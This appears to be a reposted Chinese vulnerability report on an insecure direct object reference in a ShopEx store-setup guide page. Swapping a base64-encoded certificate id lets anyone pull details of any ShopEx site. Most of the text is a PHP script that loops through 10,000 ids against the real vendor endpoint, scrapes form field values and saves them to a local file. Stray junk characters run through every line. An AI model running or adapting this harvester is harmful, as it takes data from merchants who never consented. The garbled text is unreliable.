|
简要描述:9 u6 @! g6 W4 ^2 d2 O7 F
ShopEx某接口缺陷,可遍历所有网站
+ ~6 m {1 b; F详细说明:
8 j) H- i9 l# Q7 @2 ?9 K问题出现在shopex 网店使用向导页面 $ ?' w0 V# q) a# B
5 z9 Z* Q! {" K0 f, c
" d, t; h2 b' J( \0 J m
4 a |) c) X# |& e) a! chttp://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=" Z" I8 n! _0 b s
) }" b: }: `2 X) k) D
( [: \" p6 n ~; w1 D
* `* m( z9 u7 j& R. `; ?) b+ C
refer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}+ L* o% \' H5 G
% T. T- |: o7 M2 `; n# n" G3 E, q
5 J. i9 B$ f5 X
+ Y' E" ?) m* I' E" M ?7 F
我们修改certi_id 即可遍历所有使用了ShopEx程序的网站 $ C$ z: x r' C6 [6 }- w% G
% _4 k# ]) U& w c$ N$ H3 W
8 i, w1 M5 v' E/ z" g
: \! j2 y. o0 i ]& B
<?php- D5 g% }) b; D: z$ B
% l3 o; P ]4 C) q4 |
for ($i=1; $i < 10000; $i++) { //遍历
6 Q; g G7 M. E2 t7 E, R0 \4 a
. r$ G, J; |& b# w ShowshopExD($i);
3 D3 L# r6 j; V( S2 w2 p: p8 c. @ s$ }, D/ z% {
}
8 y# C- Z# S% f2 ^: X: y1 f1 ?% H
function ShowshopExD($cid) {
( S. f! X b A# O' w
& j; j: ]' D9 C7 O3 B. }0 Q8 y $url='http://guide.ecos.shopex.cn/step2.php';
' v4 ~% i) p. s( [$ D
+ k# a. x9 W0 }$ A $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');, H& M/ v: C5 r5 @3 }. D, k
) g7 O8 @. @* U
$url = $url.'?refer='.$refer;
# A0 h, Z) B. L9 g5 @" y/ X; j; _4 u$ C$ T0 q: l, o
$ch = curl_init($url);
* i# U) y T) _
7 b; h3 r# y8 t9 `5 W! o' Q curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;' y" L# a) w, f7 ]7 v' D
0 M% ?: W% g+ ^& W; V O
curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;
4 `" I+ T! n' [/ I$ G8 k% x$ W L' S9 G. G6 S
$result = curl_exec($ch);) r; h1 S! r: y& U: d
7 l9 n' G/ k6 H3 w+ l% n, i( v $result = mb_convert_encoding($result, "gb2312", "UTF-8");
: c7 w4 j1 m3 {% X% q; Z
6 o! N, \! p9 V if(strpos($result,$refer))
" l& D2 X: W# K1 _5 [
B# d6 O- c+ f4 K- S$ i* t {
8 l6 d! A, x8 B9 W
, a4 v+ t& v; x9 L8 H+ D $fp = fopen("c:/shopEx.txt",'ab'); //保存文件
" j. f8 \0 r% t
1 I: u# z, B! Z preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);/ T, U1 z7 E" G' `% K. n/ N' P5 t
$ S) x, \- P# f foreach ($value[1] as $key) {/ e9 y# r* q2 s1 ]3 V
5 Z" W" J3 F7 x# e' q! }6 p" Q
preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);
% v0 }5 A( P! Y0 w' y* r# P; O7 R5 g5 \+ v+ W% t
echo $res[1][0].':'.$res[3][0]."\r\n";
; R1 i3 `, `. ^& X0 L& J
; X6 \, U) {# G $col =$res[1][0].':'.$res[3][0]."\r\n";
* [% X0 t' d, Z1 ^
" F) T7 R/ g2 Q" P# J; b fwrite($fp, $col, strlen($col)); 6 D; K0 }: w6 d% \2 m2 `- ?
. U# k) X, `- n& ^/ u, J. N6 ] }+ U9 @0 k$ G! F& |) V, t. I
! G8 T( @: a8 c4 T( U7 t
echo '--------------------------------'."\r\n";' S$ o% k/ J3 z: A0 s- L
% X- [" ~) \+ Z' z fclose($fp);
5 Z# R6 M0 S& c- w0 X9 s' S2 T' x6 }( a4 M
}; A3 Y1 V- u( q: m& N& \/ w
u5 B5 p. `) k% a# _
flush();9 D7 X* [3 }8 L7 [8 d& A& Z7 X
, N& H9 B: o6 f0 b/ n
curl_close($ch);
. G( H2 r- I6 W. x! y0 r& L
, C2 ]8 f) `% Q+ [ }3 G: g$ Q% r/ D2 j3 p$ K8 Y
8 } \' d. A. v$ |4 p- {
?>7 h* {( T3 m- {/ b N3 K! i
漏洞证明:
! l* c% T% ?! Q9 R# Hhttp://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
9 r) e" {4 x frefer换成其他加密方式
5 |& V3 i4 J3 P. T0 |5 {, d5 g |
|